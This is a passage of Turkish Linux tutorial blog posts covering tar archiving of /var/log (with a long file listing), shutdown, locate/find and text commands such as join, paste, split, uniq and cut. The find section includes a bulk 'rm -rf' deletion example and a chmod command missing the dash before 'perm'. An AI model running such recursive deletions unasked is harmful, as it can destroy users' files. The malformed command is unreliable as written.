/var/log/upstart/procps-virtual-filesystems.log.7.gz
/var/log/upstart/dbus.log.3.gz
/var/log/upstart/kmod.log.6.gz
/var/log/upstart/ureadahead.log.2.gz
/var/log/upstart/container-detect.log.7.gz
/var/log/upstart/alsa-restore.log.3.gz
/var/log/upstart/mysql.log.7.gz
/var/log/upstart/wait-for-state-plymouth-shutdownmdm.log.1.gz
/var/log/upstart/alsa-state.log.2.gz
/var/log/upstart/modemmanager.log.7.gz
/var/log/upstart/container-detect.log.5.gz
/var/log/upstart/procps-static-network-up.log.4.gz
/var/log/upstart/ureadahead.log.5.gz
/var/log/upstart/procps-static-network-up.log.3.gz
/var/log/upstart/gpu-manager.log.2.gz
/var/log/upstart/mysql.log.1.gz
/var/log/upstart/console-setup.log.4.gz
/var/log/upstart/gpu-manager.log.1.gz
/var/log/upstart/console-setup.log.6.gz
/var/log/upstart/ureadahead.log.1.gz
/var/log/upstart/kmod.log.7.gz
/var/log/upstart/container-detect.log.6.gz
/var/log/upstart/mountall.log.7.gz
/var/log/upstart/dbus.log.7.gz
/var/log/upstart/ureadahead-other.log.3.gz
/var/log/upstart/mysql.log.2.gz
/var/log/upstart/modemmanager.log.6.gz
/var/log/upstart/procps-virtual-filesystems.log.5.gz
/var/log/upstart/mountall.log.3.gz
/var/log/upstart/mountall.log.2.gz
/var/log/upstart/ureadahead-other.log.4.gz
/var/log/upstart/systemd-logind.log.6.gz
/var/log/upstart/mountall.log.4.gz
/var/log/upstart/systemd-logind.log.5.gz
/var/log/upstart/mountall.log.5.gz
/var/log/upstart/console-setup.log.2.gz
/var/log/upstart/ureadahead-other.log.1.gz
/var/log/upstart/systemd-logind.log.1.gz
/var/log/upstart/procps-static-network-up.log.1.gz
/var/log/upstart/ureadahead.log.6.gz
/var/log/upstart/dbus.log.2.gz
/var/log/upstart/network-manager.log.4.gz
/var/log/upstart/ureadahead-other.log.6.gz
/var/log/upstart/ureadahead.log.3.gz
/var/log/upstart/modemmanager.log.4.gz
/var/log/upstart/alsa-state.log.3.gz
/var/log/upstart/systemd-logind.log.4.gz
/var/log/upstart/network-manager.log.1.gz
/var/log/upstart/mysql.log.4.gz
/var/log/upstart/container-detect.log.4.gz
/var/log/upstart/ureadahead.log.4.gz
/var/log/upstart/gpu-manager.log.7.gz
/var/log/upstart/ureadahead-other.log.2.gz
/var/log/upstart/ureadahead.log.7.gz
/var/log/upstart/gpu-manager.log.3.gz
/var/log/upstart/network-manager.log.6.gz
/var/log/upstart/procps-static-network-up.log.5.gz
/var/log/upstart/alsa-restore.log.5.gz
/var/log/upstart/plymouth-shutdown.log.6.gz
/var/log/upstart/cups.log.4.gz
/var/log/upstart/cups.log.1.gz
/var/log/upstart/alsa-restore.log.2.gz
/var/log/upstart/modemmanager.log.2.gz
/var/log/upstart/systemd-logind.log.3.gz
/var/log/upstart/procps-virtual-filesystems.log.6.gz
/var/log/upstart/cups.log.2.gz
/var/log/upstart/container-detect.log.3.gz
/var/log/upstart/dbus.log.5.gz
/var/log/upstart/modemmanager.log.1.gz
/var/log/upstart/procps-virtual-filesystems.log.1.gz
/var/log/upstart/console-setup.log.7.gz
/var/log/kern.log.3.gz
/var/log/lastlog
/var/log/dpkg.log.1
/var/log/faillog
/var/log/dmesg.0
/var/log/samba/
/var/log/samba/log.172.20.10.3
/var/log/samba/log.tamay-pc
/var/log/samba/log.10.99.10.216
/var/log/samba/log.10.99.13.165
/var/log/samba/log.10.99.12.45
/var/log/samba/log.10.99.8.248
/var/log/samba/log.10.99.1.32
/var/log/samba/log.10.99.9.127
/var/log/samba/log.kocatepekahve
/var/log/samba/log.user-bilgisayar
/var/log/samba/log.10.99.1.248
/var/log/samba/log.smbd
/var/log/samba/log.smbd.7.gz
/var/log/samba/log.nmbd.4.gz
/var/log/samba/log.10.99.4.165
/var/log/samba/log.nmbd.7.gz
/var/log/samba/log.192.168.1.37
/var/log/samba/log.user34
/var/log/samba/log.sengul
/var/log/samba/log.ert-bilgisayar
/var/log/samba/log.192.168.1.50
/var/log/samba/log.ahmety__cesan
/var/log/samba/log.lenovo-pc
/var/log/samba/log.smbd.1.gz
/var/log/samba/log.%m
/var/log/samba/log.nmbd.2.gz
/var/log/samba/log.192.168.43.101
/var/log/samba/log.nmbd
/var/log/samba/log.x
/var/log/samba/log.smbd.3.gz
/var/log/samba/log.smbd.2.gz
/var/log/samba/log.192.168.0.100
/var/log/samba/log.ender-pc
/var/log/samba/log.smbd.4.gz
/var/log/samba/log.desktop-5n291m6
/var/log/samba/log.smbd.5.gz
/var/log/samba/log.10.99.11.73
/var/log/samba/log.ert
/var/log/samba/log.10.99.9.249
/var/log/samba/log.metehn
/var/log/samba/log.smbd.6.gz
/var/log/samba/log.clientxp
/var/log/samba/cores/
/var/log/samba/cores/nmbd/
/var/log/samba/cores/smbd/
/var/log/samba/log.sahiner-vaio
/var/log/samba/log.192.168.1.64
/var/log/samba/log.10.99.0.150
/var/log/samba/log.10.99.9.77
/var/log/samba/log.192.168.1.48
/var/log/samba/log.192.168.1.35
/var/log/samba/log.nmbd.6.gz
/var/log/samba/log.10.99.7.218
/var/log/samba/log.192.168.1.33
/var/log/samba/log.user32
/var/log/samba/log.nmbd.5.gz
/var/log/samba/log.192.168.1.51
/var/log/samba/log.nmbd.1.gz
/var/log/samba/log.pc121
/var/log/samba/log.192.168.1.34
/var/log/samba/log.192.168.2.6
/var/log/samba/log.unipc
/var/log/samba/log.samsung
/var/log/samba/log.kali
/var/log/samba/log.nmbd.3.gz
/var/log/samba/log.192.168.1.59
/var/log/samba/log.ruya
/var/log/samba/log.mustafa
/var/log/samba/log.user5
/var/log/samba/log.10.99.6.30
/var/log/mintsystem.log
/var/log/kern.log.2.gz
/var/log/Xorg.0.log.old
/var/log/apache2/
/var/log/apache2/error.log.10.gz
/var/log/apache2/access.log.9.gz
/var/log/apache2/access.log.3.gz
/var/log/apache2/error.log
/var/log/apache2/access.log.8.gz
/var/log/apache2/error.log.4.gz
/var/log/apache2/access.log.2.gz
/var/log/apache2/error.log.9.gz
/var/log/apache2/access.log.7.gz
/var/log/apache2/access.log.6.gz
/var/log/apache2/error.log.6.gz
/var/log/apache2/other_vhosts_access.log
/var/log/apache2/access.log.5.gz
/var/log/apache2/error.log.11.gz
/var/log/apache2/access.log.10.gz
/var/log/apache2/error.log.8.gz
/var/log/apache2/error.log.3.gz
/var/log/apache2/error.log.7.gz
/var/log/apache2/access.log
/var/log/apache2/access.log.4.gz
/var/log/apache2/access.log.1
/var/log/apache2/error.log.5.gz
/var/log/apache2/error.log.1
/var/log/apache2/error.log.2.gz
/var/log/apache2/access.log.11.gz
/var/log/auth.log
/var/log/kern.log.4.gz
/var/log/pm-powersave.log.1
/var/log/alternatives.log.2.gz
/var/log/pm-suspend.log.2.gz
/var/log/syslog.1
/var/log/mysql.log
/var/log/mysql.log.7.gz
/var/log/mdm/
/var/log/mdm/:0.log
/var/log/mdm/:0.log.1
/var/log/mdm/:0.log.3
/var/log/mdm/:0.log.2
/var/log/mdm/:0.log.4
/var/log/mdm/:20.log
/var/log/syslog.7.gz
/var/log/pycentral.log
/var/log/apt/
/var/log/apt/history.log.1.gz
/var/log/apt/history.log
/var/log/apt/term.log.2.gz
/var/log/apt/term.log
/var/log/apt/term.log.1.gz
/var/log/apt/history.log.2.gz
/var/log/auth.log.3.gz
/var/log/kern.log.1
/var/log/wtmp
/var/log/dpkg.log.2.gz
/var/log/mysql.log.1.gz
/var/log/unattended-upgrades/
/var/log/unattended-upgrades/unattended-upgrades-shutdown.log
/var/log/mysql.log.2.gz
/var/log/alternatives.log
/var/log/syslog.6.gz
/var/log/kern.log
/var/log/Xorg.0.log
/var/log/pm-suspend.log.1
/var/log/alternatives.log.1
/var/log/syslog
/var/log/aptitude.1.gz
/var/log/speech-dispatcher/
/var/log/gpu-manager.log
/var/log/installer/
/var/log/installer/initial-status.gz
/var/log/installer/version
/var/log/installer/debug
/var/log/installer/partman
/var/log/installer/casper.log
/var/log/installer/syslog
/var/log/installer/media-info
/var/log/mysql.log.4.gz
/var/log/pm-suspend.log
/var/log/mysql.err
/var/log/auth.log.2.gz
/var/log/dbconfig-common/
/var/log/dbconfig-common/dbc.log
/var/log/auth.log.1
/var/log/dmesg
/var/log/vbox-install.log
/var/log/wtmp.1
/var/log/bootstrap.log
/var/log/dmesg.3.gz
hakan paste # ll
-rw-rw-rw- 1 root root 2478668 May 19 21:04 log.tar.gz
</code></pre>
<br />
log dosyalarını tar ile tek bir dosya olacak şekilde sıkıştırarak arşivleriz /var/log dizini altındaki tüm dosyaları log.tar.gz şeklinde tek bir dosyada sıkıştırdı.<br />
<br />
Sıkıştırılmış dosyayıda açmak için <b>tar -xvzf log.tar.gz </b>şeklinde yazarak çıkarabiliriz. /var ı çıkardı ve altındaki tüm dizinleri bunlarıda ls ile gördük <br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # tar -xvzf log.tar.gz
var/log/
var/log/Xorg.20.log
var/log/syslog.4.gz
var/log/pm-powersave.log
var/log/dpkg.log
var/log/syslog.2.gz
var/log/dmesg.1.gz
var/log/ConsoleKit/
var/log/ConsoleKit/history.2.gz
var/log/ConsoleKit/history.1
var/log/ConsoleKit/history
var/log/dmesg.4.gz
var/log/udev
var/log/pm-powersave.log.2.gz
var/log/syslog.5.gz
var/log/hp/
var/log/hp/tmp/
var/log/fontconfig.log
var/log/boot.log
var/log/syslog.3.gz
var/log/btmp.1
var/log/cups/
var/log/cups/access_log.6.gz
var/log/cups/access_log.5.gz
var/log/cups/error_log
var/log/cups/access_log.3.gz
var/log/cups/page_log
var/log/cups/access_log
var/log/cups/access_log.2.gz
var/log/cups/access_log.7.gz
var/log/cups/access_log.4.gz
var/log/cups/access_log.1.gz
var/log/auth.log.4.gz
var/log/mysql/
var/log/mysql/error.log
var/log/mysql/error.log.4.gz
var/log/mysql/error.log.6.gz
var/log/mysql/error.log.3.gz
var/log/mysql/error.log.7.gz
var/log/mysql/error.log.5.gz
var/log/mysql/error.log.1.gz
var/log/mysql/error.log.2.gz
var/log/mysql.log.3.gz
var/log/fsck/
var/log/fsck/checkroot
var/log/fsck/checkfs
var/log/mysql.log.6.gz
var/log/btmp
var/log/aptitude
var/log/dmesg.2.gz
var/log/mysql.log.5.gz
var/log/upstart/
var/log/upstart/cups.log.6.gz
var/log/upstart/dbus.log.4.gz
var/log/upstart/alsa-restore.log.6.gz
var/log/upstart/plymouth-shutdown.log.3.gz
var/log/upstart/procps-static-network-up.log.2.gz
var/log/upstart/plymouth-shutdown.log.7.gz
var/log/upstart/console-setup.log.5.gz
var/log/upstart/gpu-manager.log.6.gz
var/log/upstart/gpu-manager.log.4.gz
var/log/upstart/mountall.log.1.gz
var/log/upstart/network-manager.log.3.gz
var/log/upstart/cups.log.7.gz
var/log/upstart/cups.log.3.gz
var/log/upstart/alsa-state.log.1.gz
var/log/upstart/network-manager.log.5.gz
var/log/upstart/modemmanager.log.5.gz
var/log/upstart/dbus.log.6.gz
var/log/upstart/mysql.log.3.gz
var/log/upstart/mysql.log.6.gz
var/log/upstart/network-manager.log.2.gz
var/log/upstart/alsa-state.log.7.gz
var/log/upstart/container-detect.log.2.gz
var/log/upstart/kmod.log.4.gz
var/log/upstart/alsa-state.log.5.gz
var/log/upstart/ureadahead-other.log.7.gz
var/log/upstart/mysql.log.5.gz
var/log/upstart/dbus.log.1.gz
var/log/upstart/kmod.log.1.gz
var/log/upstart/console-setup.log.1.gz
var/log/upstart/procps-virtual-filesystems.log.2.gz
var/log/upstart/procps-static-network-up.log.6.gz
var/log/upstart/gpu-manager.log.5.gz
var/log/upstart/plymouth-shutdown.log.4.gz
var/log/upstart/modemmanager.log.3.gz
var/log/upstart/mountall.log.6.gz
var/log/upstart/procps-virtual-filesystems.log.3.gz
var/log/upstart/cups.log.5.gz
var/log/upstart/network-manager.log.7.gz
var/log/upstart/systemd-logind.log.2.gz
var/log/upstart/kmod.log.2.gz
var/log/upstart/kmod.log.3.gz
var/log/upstart/alsa-state.log.6.gz
var/log/upstart/alsa-restore.log.4.gz
var/log/upstart/procps-virtual-filesystems.log.4.gz
var/log/upstart/ureadahead-other.log.5.gz
var/log/upstart/systemd-logind.log.7.gz
var/log/upstart/procps-static-network-up.log.7.gz
var/log/upstart/kmod.log.5.gz
var/log/upstart/plymouth-shutdown.log.2.gz
var/log/upstart/alsa-restore.log.1.gz
var/log/upstart/alsa-state.log.4.gz
var/log/upstart/plymouth-shutdown.log.5.gz
var/log/upstart/console-setup.log.3.gz
var/log/upstart/plymouth-shutdown.log.1.gz
var/log/upstart/container-detect.log.1.gz
var/log/upstart/procps-virtual-filesystems.log.7.gz
var/log/upstart/dbus.log.3.gz
var/log/upstart/kmod.log.6.gz
var/log/upstart/ureadahead.log.2.gz
var/log/upstart/container-detect.log.7.gz
var/log/upstart/alsa-restore.log.3.gz
var/log/upstart/mysql.log.7.gz
var/log/upstart/wait-for-state-plymouth-shutdownmdm.log.1.gz
var/log/upstart/alsa-state.log.2.gz
var/log/upstart/modemmanager.log.7.gz
var/log/upstart/container-detect.log.5.gz
var/log/upstart/procps-static-network-up.log.4.gz
var/log/upstart/ureadahead.log.5.gz
var/log/upstart/procps-static-network-up.log.3.gz
var/log/upstart/gpu-manager.log.2.gz
var/log/upstart/mysql.log.1.gz
var/log/upstart/console-setup.log.4.gz
var/log/upstart/gpu-manager.log.1.gz
var/log/upstart/console-setup.log.6.gz
var/log/upstart/ureadahead.log.1.gz
var/log/upstart/kmod.log.7.gz
var/log/upstart/container-detect.log.6.gz
var/log/upstart/mountall.log.7.gz
var/log/upstart/dbus.log.7.gz
var/log/upstart/ureadahead-other.log.3.gz
var/log/upstart/mysql.log.2.gz
var/log/upstart/modemmanager.log.6.gz
var/log/upstart/procps-virtual-filesystems.log.5.gz
var/log/upstart/mountall.log.3.gz
var/log/upstart/mountall.log.2.gz
var/log/upstart/ureadahead-other.log.4.gz
var/log/upstart/systemd-logind.log.6.gz
var/log/upstart/mountall.log.4.gz
var/log/upstart/systemd-logind.log.5.gz
var/log/upstart/mountall.log.5.gz
var/log/upstart/console-setup.log.2.gz
var/log/upstart/ureadahead-other.log.1.gz
var/log/upstart/systemd-logind.log.1.gz
var/log/upstart/procps-static-network-up.log.1.gz
var/log/upstart/ureadahead.log.6.gz
var/log/upstart/dbus.log.2.gz
var/log/upstart/network-manager.log.4.gz
var/log/upstart/ureadahead-other.log.6.gz
var/log/upstart/ureadahead.log.3.gz
var/log/upstart/modemmanager.log.4.gz
var/log/upstart/alsa-state.log.3.gz
var/log/upstart/systemd-logind.log.4.gz
var/log/upstart/network-manager.log.1.gz
var/log/upstart/mysql.log.4.gz
var/log/upstart/container-detect.log.4.gz
var/log/upstart/ureadahead.log.4.gz
var/log/upstart/gpu-manager.log.7.gz
var/log/upstart/ureadahead-other.log.2.gz
var/log/upstart/ureadahead.log.7.gz
var/log/upstart/gpu-manager.log.3.gz
var/log/upstart/network-manager.log.6.gz
var/log/upstart/procps-static-network-up.log.5.gz
var/log/upstart/alsa-restore.log.5.gz
var/log/upstart/plymouth-shutdown.log.6.gz
var/log/upstart/cups.log.4.gz
var/log/upstart/cups.log.1.gz
var/log/upstart/alsa-restore.log.2.gz
var/log/upstart/modemmanager.log.2.gz
var/log/upstart/systemd-logind.log.3.gz
var/log/upstart/procps-virtual-filesystems.log.6.gz
var/log/upstart/cups.log.2.gz
var/log/upstart/container-detect.log.3.gz
var/log/upstart/dbus.log.5.gz
var/log/upstart/modemmanager.log.1.gz
var/log/upstart/procps-virtual-filesystems.log.1.gz
var/log/upstart/console-setup.log.7.gz
var/log/kern.log.3.gz
var/log/lastlog
var/log/dpkg.log.1
var/log/faillog
var/log/dmesg.0
var/log/samba/
var/log/samba/log.172.20.10.3
var/log/samba/log.tamay-pc
var/log/samba/log.10.99.10.216
var/log/samba/log.10.99.13.165
var/log/samba/log.10.99.12.45
var/log/samba/log.10.99.8.248
var/log/samba/log.10.99.1.32
var/log/samba/log.10.99.9.127
var/log/samba/log.kocatepekahve
var/log/samba/log.user-bilgisayar
var/log/samba/log.10.99.1.248
var/log/samba/log.smbd
var/log/samba/log.smbd.7.gz
var/log/samba/log.nmbd.4.gz
var/log/samba/log.10.99.4.165
var/log/samba/log.nmbd.7.gz
var/log/samba/log.192.168.1.37
var/log/samba/log.user34
var/log/samba/log.sengul
var/log/samba/log.ert-bilgisayar
var/log/samba/log.192.168.1.50
var/log/samba/log.ahmety__cesan
var/log/samba/log.lenovo-pc
var/log/samba/log.smbd.1.gz
var/log/samba/log.%m
var/log/samba/log.nmbd.2.gz
var/log/samba/log.192.168.43.101
var/log/samba/log.nmbd
var/log/samba/log.x
var/log/samba/log.smbd.3.gz
var/log/samba/log.smbd.2.gz
var/log/samba/log.192.168.0.100
var/log/samba/log.ender-pc
var/log/samba/log.smbd.4.gz
var/log/samba/log.desktop-5n291m6
var/log/samba/log.smbd.5.gz
var/log/samba/log.10.99.11.73
var/log/samba/log.ert
var/log/samba/log.10.99.9.249
var/log/samba/log.metehn
var/log/samba/log.smbd.6.gz
var/log/samba/log.clientxp
var/log/samba/cores/
var/log/samba/cores/nmbd/
var/log/samba/cores/smbd/
var/log/samba/log.sahiner-vaio
var/log/samba/log.192.168.1.64
var/log/samba/log.10.99.0.150
var/log/samba/log.10.99.9.77
var/log/samba/log.192.168.1.48
var/log/samba/log.192.168.1.35
var/log/samba/log.nmbd.6.gz
var/log/samba/log.10.99.7.218
var/log/samba/log.192.168.1.33
var/log/samba/log.user32
var/log/samba/log.nmbd.5.gz
var/log/samba/log.192.168.1.51
var/log/samba/log.nmbd.1.gz
var/log/samba/log.pc121
var/log/samba/log.192.168.1.34
var/log/samba/log.192.168.2.6
var/log/samba/log.unipc
var/log/samba/log.samsung
var/log/samba/log.kali
var/log/samba/log.nmbd.3.gz
var/log/samba/log.192.168.1.59
var/log/samba/log.ruya
var/log/samba/log.mustafa
var/log/samba/log.user5
var/log/samba/log.10.99.6.30
var/log/mintsystem.log
var/log/kern.log.2.gz
var/log/Xorg.0.log.old
var/log/apache2/
var/log/apache2/error.log.10.gz
var/log/apache2/access.log.9.gz
var/log/apache2/access.log.3.gz
var/log/apache2/error.log
var/log/apache2/access.log.8.gz
var/log/apache2/error.log.4.gz
var/log/apache2/access.log.2.gz
var/log/apache2/error.log.9.gz
var/log/apache2/access.log.7.gz
var/log/apache2/access.log.6.gz
var/log/apache2/error.log.6.gz
var/log/apache2/other_vhosts_access.log
var/log/apache2/access.log.5.gz
var/log/apache2/error.log.11.gz
var/log/apache2/access.log.10.gz
var/log/apache2/error.log.8.gz
var/log/apache2/error.log.3.gz
var/log/apache2/error.log.7.gz
var/log/apache2/access.log
var/log/apache2/access.log.4.gz
var/log/apache2/access.log.1
var/log/apache2/error.log.5.gz
var/log/apache2/error.log.1
var/log/apache2/error.log.2.gz
var/log/apache2/access.log.11.gz
var/log/auth.log
var/log/kern.log.4.gz
var/log/pm-powersave.log.1
var/log/alternatives.log.2.gz
var/log/pm-suspend.log.2.gz
var/log/syslog.1
var/log/mysql.log
var/log/mysql.log.7.gz
var/log/mdm/
var/log/mdm/:0.log
var/log/mdm/:0.log.1
var/log/mdm/:0.log.3
var/log/mdm/:0.log.2
var/log/mdm/:0.log.4
var/log/mdm/:20.log
var/log/syslog.7.gz
var/log/pycentral.log
var/log/apt/
var/log/apt/history.log.1.gz
var/log/apt/history.log
var/log/apt/term.log.2.gz
var/log/apt/term.log
var/log/apt/term.log.1.gz
var/log/apt/history.log.2.gz
var/log/auth.log.3.gz
var/log/kern.log.1
var/log/wtmp
var/log/dpkg.log.2.gz
var/log/mysql.log.1.gz
var/log/unattended-upgrades/
var/log/unattended-upgrades/unattended-upgrades-shutdown.log
var/log/mysql.log.2.gz
var/log/alternatives.log
var/log/syslog.6.gz
var/log/kern.log
var/log/Xorg.0.log
var/log/pm-suspend.log.1
var/log/alternatives.log.1
var/log/syslog
var/log/aptitude.1.gz
var/log/speech-dispatcher/
var/log/gpu-manager.log
var/log/installer/
var/log/installer/initial-status.gz
var/log/installer/version
var/log/installer/debug
var/log/installer/partman
var/log/installer/casper.log
var/log/installer/syslog
var/log/installer/media-info
var/log/mysql.log.4.gz
var/log/pm-suspend.log
var/log/mysql.err
var/log/auth.log.2.gz
var/log/dbconfig-common/
var/log/dbconfig-common/dbc.log
var/log/auth.log.1
var/log/dmesg
var/log/vbox-install.log
var/log/wtmp.1
var/log/bootstrap.log
var/log/dmesg.3.gz
hakan paste # ls
dosya1 dosya3 log.tar.gz var xab xad xaf xah
dosya2 dosya4 ornek xaa xac xae xag yenidosya
hakan paste # cd /var/
hakan var # ls
backups cache lib local lock log mail opt run spool tmp www
hakan var #
</code></pre>
<br />Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-54865409984768589582016-05-19T11:38:00.000-07:002016-05-19T11:38:29.661-07:00Linux shutdown, reeboot<b>shutdown :</b> Linux sistemlerde sunucuyu kapatmak için kullanılan komuttur.<br />
<br />
<b>shutdown -h now </b>ile kullanılırsa sunucu hemen kapatılır.<br />
<br />
<b>man shutdown </b>ile daha detaylı bilgi alınabilir için.<br />
<br />
<b>reboot : </b>Linux sistemlerde sunucuyu tekrar başlatırız.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-58760586307733967792016-05-19T05:30:00.000-07:002016-05-19T05:30:40.782-07:00Linux locate, find komutları<b>locate : </b>Dosya ve dizinlerin dosya sistemindeki yerini bulmak için kullanılır.<br />
<br />
locate komutu aramayı /var/lib/mlocate/mlocate.db veritabından yapar bu veritabanı varsayılanda gunde bir kere<br />
guncellenir.<br />
<br />
Bu yüzden yeni bir dosya oluşturduğumuzda locate komutu bulmayabilir. Arama yapmadan önce <b>updatedb </b>yaparak bu veritabanını güncelleyerek daha sağlıklı sonuçlar elde edebiliriz.<br />
<br />
Örnek : bir .deb paketi arayalım.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan hakan # locate google-chrome-stable_current_amd64.deb
/home/hakan/google-chrome-stable_current_amd64.deb
</code></pre>
<br />
<b>find : </b>Aradığımız dosyayı belirttiğimiz dizinin altında tarayarak bulmaya yarar. locate komutuna göre uzun süren bir komuttur.<br />
<br />
Aynı paketi find ile /home dizini altında arayalım.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan hakan # find /home/ -name google-chrome-stable_current_amd64.deb
/home/hakan/google-chrome-stable_current_amd64.deb
</code></pre>
<br />
<b>hakan hakan # find /home ! -user ali -name alibaba* -exec rm -rf {} \;</b><br />
<br />
<br />
<br />
Bu komut home dizininde arama yapar ! işareti ise hangi kullanıcı olmayacağı anlamına gelir. ! koymazsak tam aksini hangi kullanıcıya ait olduğunu söylerdik. ali kullanıcısına ait olmayan dosyalarda arama yapar ve ismi alibaba şeklinde başlayan dosyalarda arar ve bulduğu dosyalarda rm -rf komutunu çalıştırır. ve bulduğu dosyaları siler.<br />
<br />
<b>hakan hakan # find /var/ -type d perm 777 -exec chmod 755 {} \;</b><br />
<br />
var dizini altında arama yapar. - type d ile dizinlerde arama yapar - perm ile 777 iznine sahipli dizinleri bulur ve bunların izinlerini 755 olarak değiştirir.<br />
<br />
<b>hakan hakan # find /var/ -type f -perm 777 -exec chmod 644 {} \;</b><br />
<b><br /></b>
var dizini altında 777 izine sahip dosyaları bulup bunların izinlerini 644 olarak değiştiririz.<br />
<br />
find komutunu yanlış izinli dosyaları değiştirmek için veya yanlış dosyaları silmek içinde kullanabiliriz. <br />
<br />Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-68729939566692630542016-05-17T18:48:00.001-07:002016-05-18T04:54:54.003-07:00Linux join, paste, split, uniq, cut, sort komutları<br />
Linux join, paste, split, uniq, cut, sort komutlarından bahsedeceğim.<br />
<br />
<b>Join : </b>Dosya birleştirme işlemlerinde kullanılır. Parametresiz kullanılırsa ilk sutundaki ortak alanlara göre bize birleştirir.<br />
<br />
Örnek : ornek8 ve ornek9 içerisindekileri ilk sütundaki ortak alanlara göre birleştireceğiz.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # cat ornek8
2 mehmet
3 erdi
5 gazi
6 hasan
hakan eren # cat ornek9
1 hakan
2 ahmet
5 gazi
7 hasan
hakan eren # join ornek8 ornek9
2 mehmet ahmet
5 gazi gazi
</code></pre>
<br />
<b>join -1 2 -2 2 </b>parametre vererek kullanırsak burada 1. dosyanın 2. sütununa, 2. dosyanın 2. sütunundaki ortak alanlara bakmasını belirtiyoruz. <br />
<br />
<br />
<b>paste : </b>Dosya birleştirmek için kullanılan bir diğer komuttur. İki dosyayı satır satır birleştirilir.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # cat dosya1
ahmet
linux
gazi
ali
hakan paste # cat dosya3
2
3
5
6
hakan paste # paste dosya1 dosya3
ahmet 2
linux 3
gazi 5
ali 6
</code></pre>
<br />
<b>paste -d </b>parametresi ile kullanıldığında dosyaların satırların arasına bir ayrac eklemeye yarar. Kullanımı paste -d <ifade> şeklindedir. <br />
<br />
Örnek : paste -d : kullandıgımızda dosyaların arasında : koyarak ayırır.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # paste -d : dosya1 dosya3
ahmet:2
linux:3
gazi:5
ali:6
</code></pre>
<br />
<b>paste -s -d </b>parametresi ile kullanıldığında dosyaları tek bir satır haline getirip ardından birleştirme işlemini gerçekleştirir.<br />
<br />
Örnek : paste -s -d : dosya1 dosya3 şeklinde kullandığımızda aşağıdaki çıktıyı verecektir.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # paste -s -d : dosya1 dosya3
ahmet:linux:gazi:ali
2:3:5:6
</code></pre>
<br />
<b>split : </b>Dosyayı girilen bytelara gore ya da satır sayılarına gore boler.<br />
<br />
Örnek : <b>split -l 1 dosya1</b> şeklinde yazdığımızda dört satır oldugu için dörte bölüyor. xaa, xab, xac, xad şeklinde ve 2. satırda linux oldugu için kontrol etme amaçlı cat xab diyerek linux yazdığını görüyoruz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # cat dosya1
ahmet
linux
gazi
ali
hakan paste # split -l 1 dosya1
hakan paste # ls
dosya1 dosya2 dosya3 xaa xab xac xad
hakan paste # cat xab
linux
</code></pre>
<br />
<b>split -b 1 dosya3 </b>diye girdiğimizde dosya3 ü herbiri birer byte şeklinde böler.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # split -b 1 dosya3
hakan paste # ls
dosya1 dosya3 xaa xab xac xad xae xaf xag xah
</code></pre>
<br />
split -b 2m dosya3 yaparsak her biri 2m olan alt dosyalara böler.<br />
<br />
<b>uniq : </b>Dosya içindeki tekrar eden satırları gizleyerek dosyasının içeriğini ekrana basar. i parametresi ile kullanıldığında büyük küçük harf uyumuna bakmaz.<br />
<br />
Örnek : linux 3 kez tekrarlanmış uniq ile görmek istediğimizde bir kez bize gösterir.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # cat dosya4
linux
linux
linux
centos
mint
hakan paste # uniq dosya4
linux
centos
mint
</code></pre>
<br />
<br />
<br />
<b>cut : </b>Verilen parametrelere göre dosyaları görüntülemeye yarar.<br />
<br />
<b>cut -c 5,6 dosya4 </b>şeklinde -c parametresi ile kullanırsak her satırdaki 5. ve 6. harfleri ekrana basar.<br />
<b> </b>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # cut -c 5,6 dosya4
x
x
x
os
</code></pre>
<br />
<b>cut -d : -f 2 dosya4</b> şeklinde -d parametresi ile kullanıldığında parametreye göre sütunlara böler ve 2. sütunları alt alta ekrana basar.<br />
<br />
<br />
